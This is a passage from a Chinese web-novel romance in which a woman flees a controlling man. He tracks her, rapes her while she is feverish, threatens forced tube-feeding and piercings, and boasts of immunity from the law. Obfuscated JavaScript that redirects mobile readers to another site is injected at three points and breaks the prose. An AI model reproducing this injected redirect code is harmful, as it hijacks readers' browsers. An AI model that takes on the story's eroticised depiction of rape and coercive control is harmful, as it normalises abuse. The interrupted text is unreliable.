“唉——”李浪帆长长地叹了口气,一想到自己的一举一动都处在别人的监视之下,她就感到如芒刺背,难以忍受。 酒吧中悠扬的轻音乐恰在此刻戛然而止,四周陷入了短暂的寂静,连空气都有些凝滞。 “走吧!”她忽然站起身来,扯下充电线,去吧台还了充电宝。又用力按着电源键,“关机他就听不见了吧?” 王琮推开门,头也不回道:“嗯。” 李浪帆随口问他:“你接下来有什么打算?” “回一趟中州。” 她瞬间会意,“找张家的支持?” 王琮和王暄的母亲姓张。也说不清是因为什么缘故,不管在哪个世界,二人的两个姨,三个舅也总是更偏爱王琮一些,王暄反而像张家八百年上一次门的远房亲戚。 “我对经营虚拟世界没有兴趣。”王琮沉声说:“但如果这是回到现实的必要手段,我不会手软。” 王琮的车停就在路边,他拉开车门,侧身对李浪帆说:“我收拾那两家,你和小暄结婚。” 李浪帆下意识拒绝:“不行。” “我暂时不想见他……而且也很难把他们当成同一个人了。”她扬起攥在掌中的手机,恨声道:“至少我的那个他就从不会做这种事。” “他是谁又有什么关系?” 王琮倚着车门,直视她的眼睛,“他只是一个程序,一串代码,一段文字。你和他结婚只是为了尝试回到现实世界,和做游戏任务没有区别。这里的人类,只有你我。” “你说得轻巧。”李浪帆说着打了个喷嚏,随即把外套的拉链又向上扯了扯,企图抵挡那股湿冷的寒气。 “上车再说。”王琮长腿迈进车门,发动了车子,打开暖气。 李浪帆揉着酸胀的鼻子,坐上了副驾,“我不可能把他当成没有生命的NPC,也不想脚踩两只船。如果他不是我认识的王暄……” 几辆摩托从路边飙过,车窗外轰鸣的引擎声将她的最后一句话掩盖得几不可闻。 “我只希望能尽快结束这段荒唐的关系,不要一错再错了。” 王琮虽然不懂情为何物,但他自认为足够了解王暄,无论是哪一个。 他淡淡道:“如果他偏要将错就错,你有拒绝的余地?” “会有的。不过在这之前,我得先回老家把证件办了。”李浪帆眨眨眼,“你能捎上我吗?” 二十分钟后,她在酒店房间收拾完了所有的行李,又借口王暄叫她回去,找导演请了最后一天的假。 然后下楼把手机交给前台,留下王暄别墅的地址和一张刚从ATM机中取出的钱,毫不犹豫地离开了。 王琮打开车灯,一路向西北方向绝尘而去。 “他要是发现你跑了,恐怕会闹得天翻地覆。” 第二天早上十点,王琮开车将李浪帆送到了蒲岚涉镇。 李浪帆很不好意思,她后半夜的时候原本想替换王琮驾驶,但又想到自己在晚上刚喝了一杯酒,只好尴尬作罢。 等到中午,王暄发现李浪帆消息不回,手机也关机的时候,她和王琮已经分头行动,各干各的去了。 用来监视她的手机才刚刚被寄出去,王暄查找位置时,发现定位还在宁越市,紧绷的唇角这才放松下来,猜测她只是忘了充电。 正要关闭页面,他随手放大地图又瞥了一眼,发现定位竟然显示在宁越市物流分拣中心。 他瞳孔骤缩,心头涌起不好的预感。 “小暄,控制欲太强可不好。”传过来的录音文件里,王琮嘲讽的笑意戛然而止。 他一把摔了鼠标,脸色在瞬间变得阴沉可怖。 李浪帆还是之前从王暄那看个人信息时才知道,自己的户籍所在地还在村里。 高中毕业后,她就没再回来过,不知不觉竟已八年了。 补办身份证需要提供电子身份证或者户口簿。 李浪帆在镇上手机专卖店买了台新手机,连上店内的WiFi。原打算在APP中下载电子身份证,然而,她忽然意识到得重新换一个账号登陆,不然很容易被王暄找到。 注册新账号需要填手机号输验证码,但营业厅没有身份证又不能办新的电话卡。 问题又回到了办身份证上。 无奈之下,李浪帆只能先去村委会开具证明,再拿着证明到派出所补办户口簿。 站在村委会大门口,她有种恍如隔世的之感。 眼前依然是老旧的二层小楼,黄色的外墙和黯淡的绿色玻璃带着一丝梦核感,只有院内的旗杆换了新的。 李浪帆向村委会人员说明来意,他们却表示从没开过这种证明。 而且就算有证明,她也补不了户口簿,因为必须户主本人去办,可户主是李学勤。 当年她未成年就退学出去挣钱,户口一直没有迁出。在北明市打工时,连住所都不稳定,就更不用提落户的事了。 李学勤几年前跟着同乡偷渡到缅北去搞电诈,去年十一月份,随着四大家族覆灭,他才被移交回来,现在还在监狱关着。 他出国前,已将家中财物变卖一空,村里的房子现在也成了荒宅。 李浪帆显然不可能把李学勤从监狱里揪出来,给她补□□件。 她觉得这一切真是荒谬可笑,对原书设定和系统的恶毒终于有了切身体会。没想到活了二十多年,到现在竟然连证明自己的身份都做不到。 “麻烦您先帮我出个证明,我就是咱们村的,档案里都能查到。”李浪帆声音有些沙哑,还不时伴随着几声咳嗽。 她不甘心地站在办公桌前,与村委会人员反复交涉。 “咋了咋了?” 门口传来的声音震得人脑仁嗡嗡作响,一位中年女人走了进来,眼中迸发出八卦的光芒。 听了事情原委,她一拍大腿道:“咋不能办?俺侄女前些年高考报名,后爹不给她户口簿,她就是自个儿去办嘞,派出所肯定叫办!你等会儿,叫我问问她!” 说着她就拨通了侄女的电话。 扬声器打开后,传来刺啦作响的电流音。 她跟侄女唠了得有八九分钟,才进入正题。 “09年的时候,公安部发过一个因为家庭矛盾,导致没法用户口本的批复。” 女生隔着电话给她提供了可行的方法:“你在村委会开张证明,然后到派出所填书面申请,他们会给你办一个只有首页和你自己那页的户口本。我前几年就是这么办的!” 一个小时后,李浪帆高兴地拿着临时身份证走出了派出所的大门。 邻市有个旅游景区,南眺黄河,北依太行,在省内颇有名气。 李浪帆从前只是听说过这地方,可一直没有机会去。这次准备在景区找个民宿住五天,然后再回来拿加急办理的户口簿和身份证,顺便还能躲躲王暄。 她现在根本不想见到王暄,生怕自己情绪失控,再惹火了他。 鉴于某人现在的权势和性情,得罪他难免要吃大亏,暂时能避则避,徐图后计。 黑车一路把她拉到邻市的景区大门口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13820219|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此时正值年末,玉树琼枝层层叠叠,四下一片银装素裹的之景,确实像到了瑶台仙境。 李浪帆入住在瀑布附近的一家民宿中,为了避免王暄去查她的消费地址,连订房费用都是现金结算的。 正是天寒地冻的时节,瀑布和流水都被冰封,形成了连绵不绝的冰瀑奇观,在冬日暖阳的映照下,折射出耀眼夺目的光彩,让她产生了误入水晶宫的美妙错觉。 北方的冬季,相较于宁越市,更添几分寒意。 李浪帆裹上了行李箱里带来的所有厚衣服,在民宿灌了一杯开水提在手里。也不管自己现在正不断地打着喷嚏,本着“来都来了”的精神,租了辆雪地摩托,就开始在指定区域疾驰。 摩托引擎轰鸣着,发出低沉的咆哮。 李浪帆随着其他人一起放声高喊,似乎要把心中一切郁气都尽情发泄出去。 山间群鸟被游客们的尖叫声惊起,盘旋着飞向高空。 骑完摩托后,她又去看狗拉雪橇。连着摸了好几只毛茸茸的哈士奇,冻僵的脸上被舔得都是口水。 景区还有情景剧表演,王子和公主不畏严寒,在风雪中上演着浪漫的爱情童话。她心中对剧情的吐槽,简直比台词还要长。 第一天就这么平静无波地过去了。 次日中午刚一醒,李浪帆就觉得喉咙又干又痛,连喝口水都像在吞刀片。 她换好衣服爬起来,去前台借了一支温度计。 大堂生着炉火,四周暖意融融。 休闲区围了一圈人正在打扑克,还有几个人坐在沙发上聊天。一楼有几间房门虚掩着,还能听到孩子的笑声。 她坐在空椅子上,量过体温之后看到没有发烧,便也没当回事儿,只去药店买了盒感冒药。 吃过午饭后,恰巧赶上下午两点半的民俗表演,李浪帆看完表演沿着河走了一段,这才又觉出困意,回到房间开始补觉。 再次醒来时,已经到傍晚了。 霞光透过窗户斜照进屋内,李浪帆躺在床上,感受着空调吹出的干燥又温暖的风,耳边是窗外传来的阵阵欢闹声。 童年的片段不断从脑海中闪过。 恍惚间,她觉得自己回到了小时候,像在某个周日的下午,独自一人坐在昏暗的客厅内,老式电视上放着自己爱看的《中华小子》,空气中弥漫着煤火燃烧的气息,外面山风呼啸,而明天又要上学了。 此刻,她有种被全世界抛弃的凄凉感。 太阳下山后,外面的花灯陆续亮起。李浪帆毫无胃口,连晚饭也没吃,只服下感冒药,又拎着保温杯出门了。 月殿影开闻夜漏,水晶帘卷近秋河。 她坐在河边的亭子里,静静地看着灯光下的冰瀑与嬉闹的人群,直至月上中天。 当李浪帆拖着沉重的步伐走进民宿大堂时,一股难以言喻的寂静感悄然笼罩了她。 四周的空气仿佛凝固,只能听到壁炉燃烧的细微声响,室内安静的有些不寻常。 其实,从外面便能察觉,此刻所有窗户后都漆黑一片,就连前台的工作人员都不知道哪儿去了,每间客房的门缝也不见半点光亮透出。 只可惜她现在脑子有些昏昏沉沉,并未在意这些细节。虽然觉得才十点多,大家不可能都睡下了,但也没有深究。 “滴——”的一声轻响,房门应声而开。 李浪帆摸索着把房卡插进取电槽内,室内瞬间亮起,她下意识地眯起眼睛。 “玩得开心吗?”低沉的声音从身后传来。 她猛然转头,竟看见王暄正坐在沙发上,幽深的眼神正像瞄准猎物般紧盯着她。一旁还有位身形高大的保镖垂手而立。 霎时间,她被吓得汗毛倒竖,冷汗瞬间浸湿了后背。 “咣当——”一声巨响,水杯脱手砸落在地。 “李浪帆。”王暄冷冷地开口,“你想跑到哪去?” 66. [锁] [此章节已锁] 被他用阴鸷的语气连名带姓叫到,李浪帆下意识瑟缩着后退一步,连手都开始微微颤抖。 她实在难以想象王暄是怎么在两天内就查到自己行踪的,明明已经这么小心了。 现在还是深夜,他却能悄无声息地带着人,出现在自己房间里,这简直比任何恐怖片都更让人惊骇。 王暄的双眸被睫毛垂下的阴影所遮蔽,浑身上下都散发出一种来者不善的气息。 李浪帆身侧紧靠着墙壁,一边努力地平复着呼吸,一边悄悄探出手臂,在身后小范围摸索着。 “过来。”慢条斯理的命令声幽幽响起。 话音未落,她猛然按下门把手,迅速拉开房门,踉跄着朝楼下跑去。 “有小偷!有小偷!快报警!”伴随着她急促而凌乱的脚步,惊恐沙哑的呼救声在走廊回荡。 然而整个民宿像是被清空般,除了身后追来的保镖,连个人影都看不见。 她一颗心砰砰直跳,只恨自己的腿不能再跑快点。 外面阴沉的天空又开始飘雪。 “放开我!”李浪帆的怒斥声在静夜显得格外凄厉,“王暄给你开了多少钱!你就算没有闺女没有老婆总该有妈吧!为虎作伥就不怕遭报应吗!” 她只差一点就能触碰到民宿的大门了。 两分钟以后,保镖反剪着她的双手,扭送到王暄面前。 才刚站定,李浪帆猛地把头往后撞向保镖的下巴,企图以此逃脱钳制。 对方飞快地侧头闪避了过去。 她又拖着沉重的身体迅速下坠,同时右腿伸出去绊身后的人。 但是,他们之间的体型和体力差距实在太过悬殊,再加上李浪帆此刻还在病中,身体本就虚弱无力,这一击有如蚍蜉撼树,非但没起任何作用,反而被保镖一用力,压着她单膝跪在了地上。 王暄唇角微微勾起,好整以暇地欣赏着眼前这一幕。 只见李浪帆挺直了脊梁不肯低头,拼命挣扎的结果就是被更强硬地压制住,那张漂亮的脸上也露出了屈辱不甘的神情。 “王暄!你这是犯法你知道吗!”她怒喝道。 不得不承认,李浪帆每一个表情都精准踩在了他的喜好上,无论是欢愉的、平静的,还是羞耻的、惊惧的。 但此时此刻,王暄更想看到她啜泣求饶的样子。 他慢条斯理地站起身,修长的手指轻轻划过李浪帆的脸颊,最后带着昭然的怒意,掐住了她的下巴。 “怎么?王琮一回国,你就迫不及待地要离开了?他知道你在我床上的样子么?” 当着保镖的面被他这样羞辱,李浪帆简直怀疑自己魂穿了正在肉袒牵羊的宋徽宗。 她气得双眼猩红,浑身发抖,只恨不能扑上去把王暄的喉咙咬断。 “狗东西!脑子有病就去看!在手机上安装窃听软件还不够,还敢带人来抓我!我告诉你!这事儿和王琮一点关系都没有!纯粹是你让我感到恶心!” “李浪帆,你既然不知死活地招惹了我,就不该妄想一走了之。”王暄的脸色已经可以和此刻的天气媲美。 回应他的则是不断的怒骂,李浪帆啐了一口,“早知道有今天,我还不如当初死在蓝夜!” 王暄摩挲着她的脸颊,“省点力气,留着一会儿再叫。” 他话中的暗示意味太过明显,李浪帆惊恐地瞪大了双眼,早已被尘封的痛苦回忆又悄然浮现脑海。 “门口守着。”他看也不看保镖一眼,淡然吩咐道。 “是。”保镖松开了被压在地上的李浪帆,恭敬地退了出去。 随着“咔哒——”一声,门再次被关闭。 李浪帆晃了晃昏沉的脑袋,一手撑地,勉力站了起来。 “我都怀疑你是不是被赵江宇附身了。”她的语气苦涩无比。 “我在数不清的苦痛中挣扎着长到二十多岁,你不会以为我生来就该满足你的欲望吧?你不会以为我当初把赵江宇送进监狱,是因为他不如你有权有势吧?” 王暄想起了从李浪帆口中听过的那些黑暗往事,看着她悲伤的神情,产生了片刻动摇。 李浪帆利用他晃神的机会,转身向卫生间跑去,试图把门反锁,给自己争取打电话报警的时间。 然而,王暄猛然撞开了即将关上的厕所门,一把揪住李浪帆的衣领,稳住她向后摔倒的身体,随后将人强行拖了出来。 巨大的恐惧淹没了所有的理智,挣扎间,李浪帆想也不想,抬手一巴掌狠狠扇在王暄脸上。 他的眼镜随之摔落在地。 “啪!”的一声清脆响亮,吓得她心脏发紧,只觉得这声音远比音爆更震耳欲聋。 王暄猝不及防地挨了一耳光,神情瞬间从错愕转化为愤怒,整个人散发出极为危险的气息。 他单手扼住李浪帆的脖子把人按在床边,二话不说便开始撕扯她的衣物。 缺氧带来的窒息感使她连反抗都变得绵软,只能无力地威胁道:“别让我恨你……” 王暄终于扯掉了那些碍事的东西,唇角挂起满不在乎的笑意,“那就恨吧,恨总比爱更长久。” 他抽出皮带,把身下人的双手反折在背后,用力缠了两圈,紧紧捆在一起。 忽然,他注意到李浪帆指间空空如也。 “戒指呢?” 李浪帆冷哼一声,并不答话。 “嗯?不说?”他手上加了两分力。 她咬牙挑衅道:“那种垃圾,早就扔了。” 王暄的脸色更差了。 李浪帆被重重扔在床上,肌肤与冰凉的床单相触,瞬间激起了一身鸡皮疙瘩。 王暄随即压了上来,并不柔软的床垫因为两人的重量微微下陷,木质大床发出一声细响。 她只觉刚才的话荒唐可笑,咬牙切齿骂道:“你真是有病!这是能相提并论的东西吗!你他妈怎么不因为喝茶不够刺激就去喝百草枯!” “我确实应该堵住你这张嘴,好好教育一顿。”王暄掐住她下颌,俯身吻了上去。 皮带紧缚着的双手被压在身下,李浪帆无法闪躲,只能被迫仰起头,接受了这个凶狠又绵长的吻。 那双羞愤的眼眸中不多时便氤氲起一层水雾。 微凉的指尖在周身游走,不知王暄碰了她哪里,紧抿着的双唇难以抑制地泄出了微弱的泣音。 她霎时头皮发麻,并伴随着无法控制的颤抖,呼出的灼热气息让意识变得更为模糊。 “别碰我……”喘息声脆弱又无助。 “嘘—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13855979|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”王暄食指点上她的唇,“这里隔音不好,你也不想被门外的人听到吧?” 视线交汇的这一刻,李浪帆从那双漆黑的瞳孔里,察觉到了狩猎者志在必得的光芒。 她闭上眼睛,不想让自己的目光引起王暄警惕。 终于,趁他再次俯下身时,李浪帆用尽全身力气,曲起膝盖朝他身下撞去。 不过王暄还是太了解她了,在李浪帆积蓄力量的瞬间,他就已经猜到了不甘顺从的女人想要做什么。 反抗的动作被毫无悬念地镇压,王暄握住了她的脚踝,粗暴地把人掀翻过去,接着长臂一伸便将掌中细腰揽起。 她的侧脸和肩不得已抵在床单上。 “不要动。”王暄命令道。 黑发散开,垂落在颈侧,因为之前的挣扎显得略微凌乱。 他抬手,耐心地、一点一点用手指把打的结缓缓梳开,然后揪起发根,向后拽去。 “呜——”鼻腔中逸出一声闷哼,李浪帆不得不随着他的动作微微仰头。 “我一定会杀了你!” “我很期待。”一声轻呵,暧昧的气息拂过她后颈,带着占有意味的吮咬从这里一路下滑。 过不多时,生理性的泪水从眼角溢出,混合着难以吞咽的唾液,在床单上洇出一片深色湿痕。 “瞧瞧你现在的样子。”王暄戏谑道:“真想拍下来让你好好看看。” 他用指腹抹去大颗掉落的泪珠,强硬地塞进她口中,食指和中指拉扯着舌头不断搅弄起来。 李浪帆背在身后的拳头骤然攥紧,若不是此刻动弹不得,她定要不顾一切地给王暄那张可恶的脸狠狠来上一拳。 “你的泪,自己尝尝。”他语气中带着三分缱绻,动作却毫不留情。 李浪帆的牙关被撬得更开,她带着满腔愤恨,用力咬了下去。 血腥味在口腔中扩散,猩甜的黏液流入咽喉。 被咬的人发出了一声闷哼,不悦地蹙起眉头。 这份难驯的野性让王暄又爱又恨,打定了主意要让她多受些教训。 李浪帆死死压抑着身体的本能反应,不想显得有一点点欢愉,那实在太难堪了。 然而在王暄的攻势下,所有的努力最终都成为徒劳。 断断续续的呜咽被逼出来,难耐的刺激迫使她不得不张开嘴大口喘息。 如果这是另一个世界的王暄,李浪帆早就示弱求饶了,可惜此刻压制着她的人这么可恶,她的尊严实在不允许自己低头。 趁她松开牙关,王暄抽出了被咬得血肉模糊的手指,并不在意上面极深的伤痕,随手将血抹在她腰上。 看着她被完全掌控的模样,占有欲终于得到了满足,心头的怒火平息下来。 “喜欢我的味道?”他轻笑,“一会儿让你尝点别的。” “混蛋!滚出去……” 如果不是身后的人撑着,李浪帆早就跪不住了,意识逐渐开始模糊不清,感冒的症状似乎加重了。 “受不住的话,可以哭出声来。不过……” 滚烫的耳尖被他咬住,像是冷血动物爬过,只留下一片湿润冰凉。 残忍的声音在耳畔响起,“直到你昏过去之前,我都不会停下的,希望你可以坚持的久一点。” 67. 威胁 这一夜对于李浪帆来说格外地难熬。 她试图逃跑的行为再次惹恼了王暄,那人冷笑一声后,就把她抱到了洗手台上的镜子前。 冰凉坚硬的触感让她打了个冷颤,下意识朝男人的怀里瑟缩。 “可能你不知道自己现在是个什么模样。”王暄挑眉,强迫她抬头看向镜子。 李浪帆一瞥之下,惊异地发觉和自己相比,身后这人几乎可以算的上衣冠楚楚了。 王暄竟然连衬衫的扣子都没有解开,此刻除去多了些褶皱略显凌乱外,简直可以坐在电脑前和别人开视频会议。 她难堪地闭上了眼。 “你还能逃到哪去?门外有我的人守着,你无非想跑到这里,把门锁起来……” 王暄微眯着眼睛看向镜子里的她,“我抱你进来,倒省去一番折腾了,说说,该怎么谢我?” 李浪帆腕间绑着的皮带早已被他解开,尽管小臂撑着冰凉的镜面,却并不能缓解丝毫热意。 她整个人再提不起一点力气,只有被欺负狠的时候,手指才会不受控地微微蜷缩。 折腾了许久后,王暄发现镜子里的人气息越来越微弱,皮肤的温度却比之前更高,所有反抗都停止了,只偶尔才溢出一声带着哭腔的闷哼,听上去十分虚弱无力。 这不像是情动带来的反应。 他眉头微蹙,抬起了李浪帆的脸。 只见她汗湿的碎发贴在脸上,湿漉漉的睫毛微微颤抖,脸颊泛起了不自然的红晕,呼吸变得急促而灼热。 王暄从未见她何时有过这番可怜的模样,心脏浮起密密麻麻的刺痛感,一时间又酸又涩。 “宝贝?老婆?”他小心翼翼地退出去,晃了晃怀里人的肩膀,“睁眼看看我。” “滚。”李浪帆的声音低不可闻。 听到她还能骂人,王暄松了口气,抬手取下一条浴巾,裹着她抱到了床上。 “你发烧了。” 他擦干了李浪帆身上的汗,用被子把人盖得严严实实。 又从洗手台上抽了两张洗脸巾打湿,贴在了她额头上。 正打算把人送医院时,他忽然想起来,大概一周以前,李浪帆在外卖平台上,有过一笔布洛芬的消费记录。 王暄拉出了桌子下打开的行李箱,先翻出的竟然是那枚被李浪帆谎称已经丢掉的订婚戒指。 他有些晃神,愣了片刻才接着找药,果然看到还有大半盒没吃完的药在小袋子里装着。 喂过药后,他捏着戒指凝思了一会儿,又重新为李浪帆戴上,温柔地吻了吻她的手指。 李浪帆一觉醒来,发觉眼眶又干又涩,鼻子只有一边透气,喉咙也火烧火燎的疼。 缓了许久,思绪慢慢回笼,她这才想起在此之前发生过什么。 “醒了?” 坐在旁边办公的王暄发现床上的人睁开了眼,刚想伸手摸摸她额头还烫不烫,就被一巴掌抽在手背上。 “别……”她嫌恶地蹙眉,可是因为声音太过嘶哑,连“别碰我”三个字都说不出来。 看着她如避蛇蝎的态度,王暄关切的神情迅速被不悦所取代。 李浪帆这才注意到,她又被带回了王暄的别墅里,而且还是他的房间。 输液瓶高高挂在架子上,中午耀眼的阳光照在上面,她有点看不清还剩多少液体。 右手因为刚才那一巴掌而微微发麻,她抬起手,发现那枚早已被取下的戒指此刻正映着太阳,反射出炫目的光。 她当即便要取下戒指扔出去,扎着针的左手扯动了输液管。 王暄淡淡道:“再敢摘下来,我就让人给你纹一个戒指。” 李浪帆捏着戒指,沉默了许久,最后还是把手放下了。 王暄揽着她的肩膀,把人扶起来,往腰后塞了个靠枕,让她半躺在床上,拿起水杯,递到她唇边。 “喝点,出这么多汗容易脱水。” 李浪帆把头扭到一边,对他不理不睬。 “听话些,别自讨苦吃。”王暄语调低沉。 她依然不为所动。 “叫柳医生进来。”王暄对电话那边的管家吩咐道。 不到片刻,敲门声便有节奏地响起。 一位年轻的男医生走了进来。 “病人不肯喝水,给她插胃管吧。”王暄端着水杯示意道。 李浪帆转头,不可置信地看着他。 柳医生原本想说输液也可以补充水分,没必要插胃管,但对上老板的眼神,只得应是。 “别怕,会用润滑的。”王暄微微一笑,手指轻点上她的鼻子,语气算得上温和,但说出口的话却骇人得很,“一会儿管子要从这里进去,差不多有半米。” 他大概比划了长度。 “软管会通过你的喉咙……”王暄说着,指尖缓缓朝下游走,掠过她的鼻翼、双唇、喉咙、胸腔,“最后插进你的胃里,还会再抽一些胃液。” 李浪帆呼吸一滞,攥紧了手下的被单,掌心渗出的冷汗立刻把周围一小圈布料都洇湿了。 “不张嘴也没有关系,不配合有不配合的法子。插上胃管后,你不论是吃饭还是喝水,都可以用注射器,从鼻腔推进去。” 王暄再次把水放在她唇边,“想让我这样对你吗?” 这回李浪帆没再抗拒,低着头,沉默地喝完大半杯水。 他使了个眼色,柳医生点点头,识趣地出去了。 李浪帆这一下午喝了很多水,不知道是五杯还是六杯,切实体验到了什么叫牛不喝水强按头。 不过她的嗓子没有那么疼了。 除此之外,连午饭和晚饭都是王暄喂的,她拗不过这人,只好坐在那里,机械地张口、嚼碎、吞咽。 晚上还有两瓶液体。 李浪帆盯着天花板,不断地在琢磨要如何脱身。 坐在旁边的王暄,已经有一会儿没切换页面了。 她心中一动,悄悄探头瞥向他,只见这人闭着眼睛,似乎是睡着了。 然后她又伸手在王暄眼前晃了晃,他也毫无反应。 李浪帆关了流速调节器,又悄悄揭开胶布,拔下输液的针头。 她忘了以前在哪篇文章中看过,如果输液针不慎扎入颈动脉,并且流速过大,会非常危险。 极有可能会引起高压动脉血反流,或者空气栓塞、血管破裂等情况。 紧攥着注射针的手,正控制不住地颤抖。 此刻,除了她震耳欲聋的心跳声,世界陷入一片寂静。 [你只要和男主在一起,他决不可能允许你抽身而退。] [你会被男主折磨而死。] 系统曾经的话仿若死亡预告般,在她脑海中不断重复。 李浪帆觉得如果再不脱身,她真的会被王暄折磨疯。 总要先制造出混乱,才有机会逃脱。 “是你先对不起我的……”她默默地想,“那就不要怪我了。” 注射针很细,李浪帆捏的比较靠前,留下不长的尖,一手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938418|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握着调节器,一手朝王暄颈动脉上扎过去。 在针尖与皮肤接触的一瞬间,王暄睁眼抓住了她的手。 力道之大,李浪帆怀疑自己的手腕会被他捏断。 她看到王暄的脖子被划出一道细长的伤痕,血慢慢渗了出来。 “你想做什么?”他的声音森冷无比。 功败垂成的李浪帆面色铁青,一言不发。 “喜欢玩针?”王暄瞥见她另一只手松开了调节器,大概能猜出眼前的情况,不过却没有拆穿。 他摇头轻笑,“先记上,等过几天病好了,我用针在你身上穿两个洞,改改你这坏毛病。” 李浪帆原以为是什么类似“三刀六洞”的手段,思绪都已经飘到丐帮聚会的杏子林了。 直到王暄微凉的手指撩开她衣摆探进去,带着惩戒的意味缓缓向上,划过了不该触及的地方。 他的眼神冷漠、平静,没有丝毫说笑的意味,“就在这两处……好不好?再添些配饰,一定很漂亮。” “你敢!”李浪帆说出了今天的第一句话。 她的声音因恐惧而颤抖走调,沙哑中透着尖锐,像是从喉咙中挤出来的。 美丽的五官变得有些扭曲,脸色瞬间苍白如纸,尽是无法掩饰的惶恐与不安,再怎样想保持镇定都无济于事。 她是真的被吓到了,此刻浑身都在发抖。 这阴冷又下流的威胁,简直比杀了她还让她难受。 被紧握的手因为血流不畅,皮肤都开始涨紫,注射针早已捏不住,掉在了被子上。 王暄见状松开了钳制。 李浪帆身体紧绷,整个人像是一块石头,肌肉因为害怕而变得僵硬。 她喉头咕哝了一声。 要不是还有一丝尊严残存,要不是正死死咬着后槽牙,她几乎就要痛哭流涕地向王暄求饶了。 说自己再也不敢了,发誓以后都会乖乖听话。 她十分庆幸,还好忍住了没有说出口,否则她宁愿当场去死。 王暄感受到了指腹下传来的剧烈心跳,他抽出手,指指自己脖子上的血痕。 “舔干净。” 李浪帆眼眶泛红,满脸都是伤心与屈辱的神色。 她闭上眼睛,凑过去,默默地用嘴唇蹭掉了血。 几滴泪落在了王暄的肩头,在深色家居服上尤为显眼。 他注意到了,嘴唇微动,似乎是想要说什么,最终却没有开口。 李浪帆恨恨地把头转过去,哭也哭得静默无声。 唯一昭示她此刻情绪的,只有颤抖的肩膀和粗重的呼吸。 系统所谓的报复,她终于明白了。 王暄蹙眉凝视着她。 李浪帆垂着头,努力压抑着呼吸,生怕那细微的哭腔把她衬得软弱,让王暄听了更得意。 她现在有些后悔,觉得刚才不如把自己的脸划烂。 对着一个毁容的人,她不信王暄还有兴致。 王暄等她情绪慢慢平静后,把柳医生叫了进来。 “给她换成留置针。” 柳医生无意间看到老板脖子上的伤口,迅速垂下眼,装作什么也没发现,换上了留置针就走了。 “别哭了。”王暄把人揽在怀里,轻柔地吻了吻她湿润的眼睫,“如果这几天我心情好,就只给你添一副耳钉,否则……” 李浪帆连耳洞都没有,听到这话,心知他摆明了不会放过自己。 “你等着往我尸体上添吧。”她绝望地说。 68. 静夜 王暄的心脏猛然一缩,立时变了脸色,刚才那副绰有余裕的表情顷刻消失殆尽。 他紧盯着李浪帆的眼睛,许久后,一字一句说道:“你不会自杀。” “未必。”李浪帆神色木然。 “你不会自杀。”王暄又重复了一遍,笃定地说:“你只会觉得,该死的是我才对。” 李浪帆再三告诫自己别招惹这个疯子,但最后实在没能忍住,嗤笑一声反问道:“该死的不是你,难道是我吗?” 王暄暗自松了口气,又觉得她现在这幅样子看上去勾人的很,笑着哄道:“好,我该死,别生气了。” 过不多时,身侧床垫因为某人的动作而微微凹陷。 李浪帆下意识向床边挪了一点,余光瞥见了他的表情,便不敢再动。 她不想躺在这里,但王暄定然不会同意,说出口也无非遭他奚落而已。 王暄看出了李浪帆的紧张,但觉得她这会儿至少算得上乖顺,于是没有计较刚才的躲避,只温柔地俯身吻了吻那微颤的眼睫。 “病好之前,我不会强迫你做。”他承诺道。 “不知道的还以为你多好心呢!”李浪帆听着他施恩般的语气,冷哼道:“没听说过□□健康女性就不算犯法的。” “宝贝,你怎么这么傻,难道还不明白吗?”王暄曲指,轻轻刮了一下她的鼻尖,“在Bluenight那晚,如果不是我打好了招呼,你以为俱乐部老板会被警察怎么样吗?就算你交上去了所有证据,他们也不会在拘留所呆上一天,包括那个吸.毒的老板。” 李浪帆呼吸一滞,震惊地看着他。 王暄抚摸着她的头发,好笑道:“你要给我扣罪名,怕是太异想天开了。” “我不信,你又在骗我。”她说给自己听。 “你也说了这是书中的世界,不要用你原本世界的规则,套用在这里,不然,会吃大亏的。” 耳畔传来热意,状似亲昵的声音继续道:“你若是不信,尽管试试。等我们下次再做时,我帮你录下来,你可以拿着证据去告我,好不好?” 李浪帆的脸色霎时变白,连汗毛都竖起来了。 “不要!”她惊恐地摇头,眼神中带着些示弱讨好的意味,“不要。” 看着她毫无血色的嘴唇,王暄一时有些于心不忍。 他把人拉进怀里,安抚道:“好了好了,别怕,我说着玩呢。” 李浪帆没再做出任何抗拒,只紧紧闭上眼睛,装出一副要睡觉的样子。 他看着怀中人的侧颜,过了一会儿,柔声道:“晚安。” 半夜,当王暄做噩梦惊醒时,李浪帆因为白天睡得太久还清醒着。 她察觉到王暄猛然坐了起来,并伴随着粗重、剧烈的呼吸。 紧接着,她身上的被子就被掀到一边,一只手按在她胸口上。 “你又发什么疯?!”李浪帆挣扎着骂他,还以为王暄大半夜突然犯了什么癔症,又要来霸王硬上弓那套。 